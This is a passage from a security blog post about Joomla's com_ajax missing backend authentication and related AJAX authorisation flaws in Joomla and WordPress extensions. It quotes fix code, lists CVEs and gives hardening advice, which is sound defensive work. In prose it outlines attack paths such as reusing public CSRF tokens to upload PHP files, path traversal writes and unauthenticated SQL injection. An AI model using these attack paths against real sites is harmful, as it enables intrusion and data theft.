&lt;p&gt;Third-party developers building admin AJAX handlers could reasonably assume the framework had already verified the user was authenticated. Every other backend component required a logged-in user. &lt;code&gt;com_ajax&lt;/code&gt; did not, and nothing in Joomla&apos;s developer documentation warned them otherwise. The official docs on &lt;code&gt;com_ajax&lt;/code&gt; focus entirely on mechanics - URL parameters, method naming, response formats - with no mention that the backend endpoint bypassed the normal login requirement.&lt;/p&gt;
&lt;p&gt;That left every extension developer responsible for rolling their own authentication and authorization checks inside every AJAX handler. Some did. Astroid and Novarain did not. And because the gap was invisible - nothing in the framework signalled that the developer needed to add those checks - the same mistake was made independently by multiple development teams.&lt;/p&gt;
&lt;p&gt;The severity was rated Low, but the implications are serious. This was not a plugin-level oversight. The framework itself had an authorization gap that every extension built on top of it inherited. The Astroid and Novarain vulnerabilities are the direct, predictable consequences of that gap.&lt;/p&gt;
&lt;h3&gt;What does the actual Joomla fix look like?&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/joomla/joomla-cms/commit/47b48aeceae211ae8016cf1da2b821a0d0467f55&quot;&gt;commit that fixed CVE-2026-21629&lt;/a&gt; is worth reading because it shows exactly how Joomla flipped the default. The fix adds a check at the top of &lt;code&gt;components/com_ajax/ajax.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$unauthorizedAdministratorAccessCheck = (
    $app-&amp;gt;isClient(&apos;administrator&apos;) &amp;amp;&amp;amp; $app-&amp;gt;getIdentity()-&amp;gt;guest
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the request is hitting the admin-area &lt;code&gt;com_ajax&lt;/code&gt; and the user is a guest (not logged in), the fix then uses PHP reflection to inspect the target method for a new attribute called &lt;code&gt;AllowUnauthorizedAdministratorAccess&lt;/code&gt;. If the method does not carry that attribute, the request is rejected with &lt;code&gt;JERROR_ALERTNOAUTHOR&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$verifyUnauthorizedAdministratorAccessCheck =
    function ($classOrObject, $method): void {
        $reflection = new ReflectionMethod(
            $classOrObject, $method
        );

        foreach ($reflection-&amp;gt;getAttributes() as $attribute) {
            if ($attribute-&amp;gt;getName()
                === AllowUnauthorizedAdministratorAccess::class
            ) {
                return;
            }
        }

        throw new RuntimeException(
            Text::_(&apos;JERROR_ALERTNOAUTHOR&apos;)
        );
    };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This check runs for every code path through &lt;code&gt;com_ajax&lt;/code&gt; - module helpers, plugins, and template helpers all get the same gate. The only way through as a guest is to explicitly opt in with the PHP attribute on your method:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#[AllowUnauthorizedAdministratorAccess]
public function onAjaxWebauthn(AjaxEvent $event): void
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The WebAuthn (passkey) plugin gets this attribute because it legitimately needs to work before login. Everything else is blocked by default.&lt;/p&gt;
&lt;p&gt;The default flipped. Before: open to everyone unless the developer adds a check. After: blocked for guests unless the developer explicitly opts in with a PHP attribute. Extensions like Astroid and Novarain would now be blocked automatically, because their AJAX methods do not carry the &lt;code&gt;AllowUnauthorizedAdministratorAccess&lt;/code&gt; attribute.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Backwards-compatibility break for Joomla extension developers&lt;/p&gt;
  &lt;p&gt;This fix does not just block handlers that were missing authentication. It blocks any admin AJAX handler that does not authenticate &lt;em&gt;the Joomla way&lt;/em&gt; - specifically, by having a valid admin session. If a developer was already performing their own authentication checks (API key validation, custom token verification, IP-based restrictions, or any other method that does not go through Joomla&apos;s session system), their handler will now be rejected before their code even runs. The framework-level guest check fires first, and if there is no Joomla admin session, the request is denied regardless of what the handler itself would have done.&lt;/p&gt;
  &lt;p&gt;Developers who were doing the right thing - securing their AJAX handlers properly, just not using Joomla&apos;s built-in session system - are now broken alongside developers who were doing nothing at all.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The only escape hatch is the &lt;code&gt;#[AllowUnauthorizedAdministratorAccess]&lt;/code&gt; attribute, which opts the method back out of the framework check entirely. But adding that attribute also removes the protection for handlers that genuinely were insecure, so developers need to be certain their own checks are solid before opting out.&lt;/p&gt;
&lt;p&gt;Extensions with legitimate pre-login needs (like WebAuthn) can opt back in with the attribute. Extensions that were unknowingly exposed (like Astroid and Novarain) get protected automatically. Extensions that had their own security but not via Joomla sessions get caught in the crossfire.&lt;/p&gt;
&lt;p&gt;Here is what makes this worse: the &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;official 5.4.4 / 6.0.4 release announcement&lt;/a&gt; does not mention this breaking change at all. The security fix is listed as &quot;[20260301] - ACL hardening in com_ajax&quot; with no further detail, no warning to extension developers, and no indication that existing plugins may stop working. The announcement even reassures developers that the upgrade is smooth and most extensions will work with the backwards compatibility plugin enabled.&lt;/p&gt;
&lt;p&gt;The actual documentation of this breaking change is &lt;a href=&quot;https://manual.joomla.org/migrations/54-60/known-issues/6.0.4/&quot;&gt;buried in the 6.0.4 known issues page&lt;/a&gt; on the Joomla developer manual - a page that most extension developers will never check for a point release. It acknowledges the change, notes that performing ACL checks in custom code &quot;was considered a best practice,&quot; and points to the WebAuthn plugin as a reference implementation for the new attribute. That is the entirety of the guidance.&lt;/p&gt;
&lt;p&gt;A security fix that changes the default behaviour of &lt;code&gt;com_ajax&lt;/code&gt; for every Joomla extension using admin AJAX handlers, that will silently break any plugin relying on the previous open default, shipped with a one-line entry in the release notes and was documented only in a known-issues sub-page of the migration manual. Any extension developer who updated to 5.4.4 and found their AJAX handlers returning authorization errors would have had no obvious explanation unless they stumbled onto that page.&lt;/p&gt;
&lt;p&gt;The security fix is the right call. Shipping a breaking change in a point release with no prominent warning to developers is not.&lt;/p&gt;
&lt;p&gt;It took over a decade of Joomla releases (3.0.0 through 5.4.3 and 6.0.0 through 6.0.3) for this default to be corrected. Every extension built during that time inherited the open default, and many shipped without the authentication checks that the framework should have enforced from the start.&lt;/p&gt;
&lt;h3&gt;The official Joomla docs still teach this insecure pattern&lt;/h3&gt;
&lt;p&gt;As of April 2026, the &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/components/component-examples/ajaxdemo/&quot;&gt;Joomla developer manual&apos;s own AJAX example component&lt;/a&gt; ships with no CSRF token check, no authentication, and no authorization in its AJAX controller. The &lt;code&gt;AjaxController::divide()&lt;/code&gt; method reads user input directly from the request and returns a response without verifying anything about the caller:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function divide()
{
    $input = $this-&amp;gt;app-&amp;gt;input;
    $a = $input-&amp;gt;get(&quot;a&quot;, 0, &quot;float&quot;);
    $b = $input-&amp;gt;get(&quot;b&quot;, 0, &quot;float&quot;);
    // ... no Session::checkToken(), no $user-&amp;gt;authorise(), no guest check
    $result = $this-&amp;gt;_divide($a, $b);
    echo new JsonResponse($result, &quot;It worked!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The JavaScript that calls this endpoint does not send a CSRF token either. Any anonymous visitor can hit &lt;code&gt;index.php?option=com_ajaxdemo&amp;amp;format=json&amp;amp;task=ajax.divide&lt;/code&gt; and the controller will happily process the request.&lt;/p&gt;
&lt;p&gt;It could be argued that this is just a simple frontend public example, and security checks would complicate the teaching. But it is called &quot;AjaxDemo&quot; and it does not even use &lt;code&gt;com_ajax&lt;/code&gt; - it routes through its own component controller. So the official AJAX example component does not demonstrate AJAX security &lt;em&gt;or&lt;/em&gt; &lt;code&gt;com_ajax&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This particular endpoint only divides two numbers, so the security impact is zero. But this is a &lt;em&gt;teaching example&lt;/em&gt;. Developers copy these patterns into real extensions that handle file uploads, database writes, and admin operations. If the official documentation demonstrates AJAX without any security checks, it should not be a surprise when developers ship extensions without any security checks.&lt;/p&gt;
&lt;p&gt;Would the 5.4.4 fix make this example secure? No. The &lt;code&gt;com_ajaxdemo&lt;/code&gt; example routes requests through its own component controller (&lt;code&gt;index.php?option=com_ajaxdemo&amp;amp;task=ajax.divide&lt;/code&gt;), not through &lt;code&gt;com_ajax&lt;/code&gt;. The 5.4.4 authentication check only applies to requests routed through &lt;code&gt;com_ajax&lt;/code&gt;. Components with their own controllers are completely unaffected by the fix. A developer who copies this pattern into an admin component will have an unauthenticated endpoint that no framework-level check will catch.&lt;/p&gt;
&lt;p&gt;It is not just the example component. The official documentation pages for &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/plugins/plugin-examples/ajax-plugin/&quot;&gt;AJAX plugins&lt;/a&gt;, &lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/com-ajax/&quot;&gt;com_ajax&lt;/a&gt;, and &lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/ajax/&quot;&gt;AJAX in general&lt;/a&gt; do not mention authentication or authorization either. Nowhere in Joomla&apos;s AJAX documentation does a developer encounter a warning that their handler needs to verify who is calling it or whether they have permission.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Astroid and Novarain developers did not invent the insecure pattern. They learned it.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;How does WordPress handle this differently?&lt;/h3&gt;
&lt;p&gt;WordPress takes the opposite default. Its &lt;code&gt;admin-ajax.php&lt;/code&gt; uses a two-hook system with baked-in authentication:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wp_ajax_{action}&lt;/code&gt; only fires if the user is logged in. WordPress checks &lt;code&gt;is_user_logged_in()&lt;/code&gt; itself, before any plugin code runs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wp_ajax_nopriv_{action}&lt;/code&gt; fires for unauthenticated users. Developers must explicitly register this hook to allow guest access.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In WordPress, a developer has to opt into unauthenticated access. In Joomla before 5.4.4, a developer had to opt into authenticated-only access by coding the check themselves. The defaults were reversed.&lt;/p&gt;
&lt;p&gt;Neither system checks authorization (does this user have &lt;em&gt;permission&lt;/em&gt; to do this specific thing?) - that is still the developer&apos;s job on both platforms. But WordPress&apos;s framework-level gate catches the most common mistake: forgetting authentication entirely. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; caught nothing until 5.4.4.&lt;/p&gt;
&lt;h2&gt;Which five incidents prove the AJAX frontdoor security lax pattern?&lt;/h2&gt;
&lt;p&gt;All five were disclosed in March 2026.&lt;/p&gt;
&lt;h3&gt;Astroid Framework for Joomla (CVE-2026-21628, CVSS 10.0)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; is the textbook example. The AJAX endpoint in &lt;code&gt;Admin.php&lt;/code&gt; used Joomla&apos;s &lt;code&gt;checkToken()&lt;/code&gt; to verify CSRF tokens but never checked whether the requester was actually an administrator. Attackers grabbed the token from the public login page and used it to upload backdoors and install SEO spam plugins. No login required. CVSS 10.0, the maximum possible score.&lt;/p&gt;
&lt;p&gt;The fix was a single authorization check: &lt;code&gt;$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_templates&apos;)&lt;/code&gt;. Standard Joomla ACL that should have been there from the start.&lt;/p&gt;
&lt;h3&gt;Novarain Framework for Joomla (CVE-2026-21627, CVSS 9.5)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain/Tassos Framework vulnerability&lt;/a&gt; went further. Fully unauthenticated, with no token, no login, and no capability check at all. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; routed requests to the nrframework plugin, which whitelisted file inclusion as a non-admin task. Attackers could include arbitrary PHP files, delete files, and perform SQL injection through a single AJAX endpoint. Six weeks after the patch, 46.5% of affected sites in our dataset were still running vulnerable versions.&lt;/p&gt;
&lt;h3&gt;Smart Slider 3 for WordPress (CVE-2026-3098, CVSS 6.5)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 vulnerability&lt;/a&gt; targeted the WordPress side. The plugin&apos;s export AJAX actions had a nonce for CSRF protection but no capability check. Any subscriber-level user could call the export function and download arbitrary files from the server, including &lt;code&gt;wp-config.php&lt;/code&gt; with database credentials and authentication keys. Smart Slider 3 has over 800,000 active installs, and roughly 500,000 were still running vulnerable versions at disclosure.&lt;/p&gt;
&lt;p&gt;Same pattern, different CMS. CSRF protection without authentication or authorization.&lt;/p&gt;
&lt;h3&gt;Joomla core com_ajax ACL hardening (CVE-2026-21629)&lt;/h3&gt;
&lt;p&gt;Covered in detail above. The framework routing every Joomla plugin&apos;s AJAX requests was itself missing the default authentication check in the admin area.&lt;/p&gt;
&lt;h3&gt;Joomla webservice endpoint access bypass (CVE-2026-23899)&lt;/h3&gt;
&lt;p&gt;Joomla&apos;s webservice API layer did not properly verify that incoming requests had the right permissions, allowing unauthorized access to restricted endpoints. Reported by &lt;a href=&quot;https://developer.joomla.org/security-centre/1032-20260306-core-improper-access-check-in-webservice-endpoints.html&quot;&gt;vnth4nhnt from CyStack&lt;/a&gt; and fixed in the same release. Different mechanism than &lt;code&gt;com_ajax&lt;/code&gt;, same category of failure: an endpoint that accepts requests it should reject.&lt;/p&gt;
&lt;h2&gt;Is this just a March 2026 problem?&lt;/h2&gt;
&lt;p&gt;No. The same AJAX authorization failure has been producing critical vulnerabilities for at least a year:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/&quot;&gt;Advanced Custom Fields: Extended&lt;/a&gt; (CVE-2025-13486, CVSS 9.8)&lt;/strong&gt; - The &lt;code&gt;acfe/form/render_form_ajax&lt;/code&gt; endpoint had no nonce check and no capability check. Unauthenticated visitors could invoke arbitrary PHP functions via &lt;code&gt;call_user_func_array()&lt;/code&gt;, leading to full remote code execution. Over 100,000 WordPress sites affected. Actively exploited in the wild from December 2025.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://thehackernews.com/2025/12/wordpress-king-addons-flaw-under-active.html&quot;&gt;King Addons for Elementor&lt;/a&gt; (CVE-2025-8489, CVSS 9.8)&lt;/strong&gt; - The &lt;code&gt;king_addons_user_register&lt;/code&gt; AJAX action accepted a &lt;code&gt;user_role&lt;/code&gt; parameter from POST data without restriction and without any capability check. Any unauthenticated visitor could create an administrator account. Wordfence recorded over 48,400 blocked exploitation attempts from October 2025.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://zeropath.com/blog/gravity-forms-cve-2025-12352-summary&quot;&gt;Gravity Forms&lt;/a&gt; (CVE-2025-12352, CVSS 9.8)&lt;/strong&gt; - The &lt;code&gt;copy_post_image&lt;/code&gt; AJAX function performed no file type validation and no authorization check. Unauthenticated attackers could upload PHP backdoors. This is one of the most widely-used premium WordPress form plugins.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/gotmls/vulnerability/anti-malware-security-and-brute-force-firewall-4-23-81-missing-authorization-to-authenticated-subscriber-arbitrary-file-read&quot;&gt;Anti-Malware Security and Brute-Force Firewall&lt;/a&gt; (CVE-2025-11705, CVSS 6.5)&lt;/strong&gt; - A security plugin with the same vulnerability it was supposed to protect against. The scan AJAX handler had CSRF protection via a nonce but never called &lt;code&gt;current_user_can()&lt;/code&gt; to verify the user&apos;s role. Any subscriber could obtain the nonce through the quarantine view and use it to read arbitrary files, including &lt;code&gt;wp-config.php&lt;/code&gt;. Over 100,000 installs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://cvefeed.io/vuln/detail/CVE-2025-1661&quot;&gt;HUSKY Products Filter for WooCommerce&lt;/a&gt; (CVE-2025-1661, CVSS 9.8)&lt;/strong&gt; - The &lt;code&gt;woof_text_search&lt;/code&gt; AJAX action was registered for unauthenticated users via &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt;. The &lt;code&gt;template&lt;/code&gt; parameter accepted user input for file inclusion with no path restriction. Unauthenticated local file inclusion leading to full remote code execution.&lt;/p&gt;
&lt;p&gt;Same blueprint every time. The March 2026 cluster just made the pattern impossible to ignore by hitting both CMS platforms in the same month.&lt;/p&gt;
&lt;p&gt;It carried on producing. In August 2026 the same shape turned up in &lt;a href=&quot;https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/&quot;&gt;Fabrik, the application builder extension for Joomla&lt;/a&gt;, whose calc element evaluates a PHP expression by design and whose AJAX recalculation route could be reached with no login at all. That one is CVE-2026-66915, scored a maximum CVSS 10.0.&lt;/p&gt;
&lt;h2&gt;The AJAX endpoint flaws we found ourselves&lt;/h2&gt;
&lt;p&gt;Writing the March analysis convinced us the pattern was too common to be a run of bad luck, so we went looking for it on purpose, in the extensions our customers actually run. We found it repeatedly. Every flaw below was discovered by mySites.guru, reported privately to its vendor, and published only after a fix shipped.&lt;/p&gt;
&lt;p&gt;Three of them are the exact shape this post describes, a handler hanging off Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; with the authorisation check missing:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;The endpoint&lt;/th&gt;
&lt;th&gt;What an anonymous request could do&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PageBuilder CK&lt;/td&gt;
&lt;td&gt;Front-end &lt;code&gt;browse.ajaxAddPicture&lt;/code&gt; task, gated by a CSRF token freely readable from the homepage, with no &lt;code&gt;authorise()&lt;/code&gt; and no extension allow-list&lt;/td&gt;
&lt;td&gt;Upload &lt;code&gt;.php&lt;/code&gt; to &lt;code&gt;/images/&lt;/code&gt; and execute it&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Helix3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;onAjaxHelix3&lt;/code&gt; handler reached through &lt;code&gt;com_ajax&lt;/code&gt;, several actions carrying no token &lt;strong&gt;and&lt;/strong&gt; no &lt;code&gt;authorise()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Write and delete arbitrary files by path traversal, overwrite template params&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49049&quot;&gt;CVE-2026-49049&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Quix Page Builder&lt;/td&gt;
&lt;td&gt;Front-end element AJAX handler that put a request-supplied article id into a query with no integer cast, and reflected the database error back&lt;/td&gt;
&lt;td&gt;Read any table in the database, including password hashes and other API secrets&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58078&quot;&gt;CVE-2026-58078&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The Quix flaw is the newest, &lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;disclosed today&lt;/a&gt;, and it adds a wrinkle worth noting: the endpoint reflected its own database errors back to the caller. The missing authorisation check opened the door, and the error reflection then read the contents of the room out loud. Both are fixed in Quix 6.2.1.&lt;/p&gt;
&lt;p&gt;The same root cause keeps arriving through doorways that are not &lt;code&gt;com_ajax&lt;/code&gt; at all, which is the part we did not expect. A public front-end task, a raw-format view, a member upload form: each is a request handler an anonymous or low-privileged visitor can reach, and each failed the same way.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;Flaw&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SP Page Builder&lt;/td&gt;
&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48908&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Balbooa Forms&lt;/td&gt;
&lt;td&gt;Unauthenticated upload to RCE, found as an active zero-day&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RSFiles!&lt;/td&gt;
&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57827&quot;&gt;CVE-2026-57827&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iCagenda&lt;/td&gt;
&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48939&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Phoca Download&lt;/td&gt;
&lt;td&gt;Authenticated member upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57828&quot;&gt;CVE-2026-57828&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;9.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AcyMailing&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DPCalendar&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection through a &lt;code&gt;format=raw&lt;/code&gt; events feed&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57831&quot;&gt;CVE-2026-57831&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDocman&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57832&quot;&gt;CVE-2026-57832&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Every one scored between 8.7 and 10.0. The full account of that run, including how the vendors responded, is in &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla security disclosures&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;&quot;Unauthenticated SQL injection&quot; means complete and utter database loss&lt;/h3&gt;
&lt;p&gt;That phrase appears four times in the tables above, dry enough to sound survivable. Spelled out in plain English, it means &lt;strong&gt;an anonymous stranger with no account, no password and no login can download your entire database&lt;/strong&gt;. Every user record and every password hash, Super Users included. Every customer order, every address, every private draft, every form submission, every API key an extension has quietly stored in its parameters. Those password hashes then crack offline at the attacker&apos;s leisure on hardware built for the job, and a cracked Super User hash is simply an admin login, with no exploit required for the second visit. On the over-privileged database users that shared hosting hands out as standard, the read often reaches every other database on the same server, so one vulnerable Joomla site can expose its neighbours. Where the database login holds the &lt;code&gt;FILE&lt;/code&gt; privilege, the same flaw writes a web shell and stops being a read at all.&lt;/p&gt;
&lt;p&gt;The part that fools people is how quiet it is. A database read changes nothing: no modified files, no new admin user, no web shell, no malware for a scanner to catch, nothing for an integrity check to flag. Your site looks perfect afterwards, because it is perfect. The attacker took a copy and left the original exactly where it was. That is also why restoring a backup answers none of it. Restoring undoes changes, and nothing changed. Once the data is copied it stays copied, and all that is left is rotating every credential in it and telling the people whose data it was. We break this down further in &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;why unauthenticated SQL injection means complete database compromise&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So when a vendor changelog says &quot;improved input validation&quot; and a CVE says &quot;read-only&quot;, read both as &quot;an anonymous visitor could have taken everything&quot;. A read-only injection scores lower than remote code execution on paper. In the room where you have to tell customers their data is gone, the difference stops mattering.&lt;/p&gt;
&lt;p&gt;One clarification, because credit matters in both directions. Helix Ultimate shipped a &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;2.2.7 security release&lt;/a&gt; fixing an unauthenticated &lt;code&gt;onAjaxHelixultimate&lt;/code&gt; menu write that leads to stored XSS, textbook for this post. We did not find that one. JoomShaper&apos;s own developer wrote and shipped the fix, and we confirmed it by reading the public code difference. It belongs in the pattern, not in our column.&lt;/p&gt;
&lt;p&gt;What the run taught us is that the AJAX blind spot is not really about AJAX. It is about any request handler a developer thinks of as plumbing rather than as a public door. &lt;code&gt;com_ajax&lt;/code&gt; produces these bugs reliably because it looks like internal wiring, but a front-end task or a raw view looks like internal wiring too, and gets the same treatment.&lt;/p&gt;
&lt;h2&gt;What should extension developers be doing better?&lt;/h2&gt;
&lt;p&gt;The five March 2026 CVEs and the year of AJAX vulnerabilities before them all trace back to one habit: developers treating AJAX endpoints as internal plumbing rather than public attack surface.&lt;/p&gt;
&lt;h3&gt;Always authorize, never just authenticate&lt;/h3&gt;
&lt;p&gt;A CSRF token or nonce only proves the request was not forged. It says nothing about who the user is or whether they have permission to perform the action. Every AJAX handler needs both an authentication check (is this a valid, logged-in user?) and a capability check (does this user have the right permissions?).&lt;/p&gt;
&lt;p&gt;In WordPress, that means &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; (or whatever capability fits the action) before executing any logic. In Joomla, that means &lt;code&gt;$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_yourcomponent&apos;)&lt;/code&gt; or a more specific ACL check.&lt;/p&gt;
&lt;h3&gt;Never trust the framework to do your security for you&lt;/h3&gt;
&lt;p&gt;Until Joomla 5.4.4, &lt;code&gt;com_ajax&lt;/code&gt; in the backend did not require authentication. Even after the fix, neither Joomla nor WordPress checks authorization at the framework level. Your AJAX handler is a public endpoint. Treat it like one.&lt;/p&gt;
&lt;h3&gt;Register the minimum access level&lt;/h3&gt;
&lt;p&gt;In WordPress, only register &lt;code&gt;wp_ajax_nopriv_{action}&lt;/code&gt; if the action genuinely needs to work for unauthenticated visitors. For admin-only actions, only register &lt;code&gt;wp_ajax_{action}&lt;/code&gt;. This gives you the framework&apos;s login check as a free first line of defence.&lt;/p&gt;
&lt;p&gt;In Joomla (post-5.4.4), the backend &lt;code&gt;com_ajax&lt;/code&gt; now requires authentication by default. But developers supporting older Joomla versions should still verify the user is logged in (e.g. checking &lt;code&gt;$app-&amp;gt;getIdentity()-&amp;gt;id&lt;/code&gt; is non-zero) as a fallback.&lt;/p&gt;
&lt;h3&gt;Validate and sanitize all input&lt;/h3&gt;
&lt;p&gt;File paths, role names, SQL fragments - nothing from the request body should be used directly. The King Addons privilege escalation happened because the plugin accepted &lt;code&gt;user_role=administrator&lt;/code&gt; from POST data without question. The HUSKY vulnerability happened because a file path was used in an inclusion without sanitization.&lt;/p&gt;
&lt;h3&gt;Audit your existing AJAX handlers&lt;/h3&gt;
&lt;p&gt;If you maintain a WordPress plugin or Joomla extension, search your codebase for &lt;code&gt;wp_ajax_&lt;/code&gt;, &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt;, and &lt;code&gt;com_ajax&lt;/code&gt; handlers. For each one, verify: does it check the user&apos;s capabilities? Does it validate all input? Could a subscriber (or a guest) reach it?&lt;/p&gt;
&lt;p&gt;The Astroid fix was a single line of code. The Novarain fix was similar. These are not hard problems to solve - they are easy problems that nobody solved until attackers found them first.&lt;/p&gt;
&lt;h2&gt;What else was fixed in Joomla 5.4.4?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4 security release&lt;/a&gt; on 31 March 2026 patched six CVEs in total. Beyond the AJAX and API issues already discussed:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Reporter&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
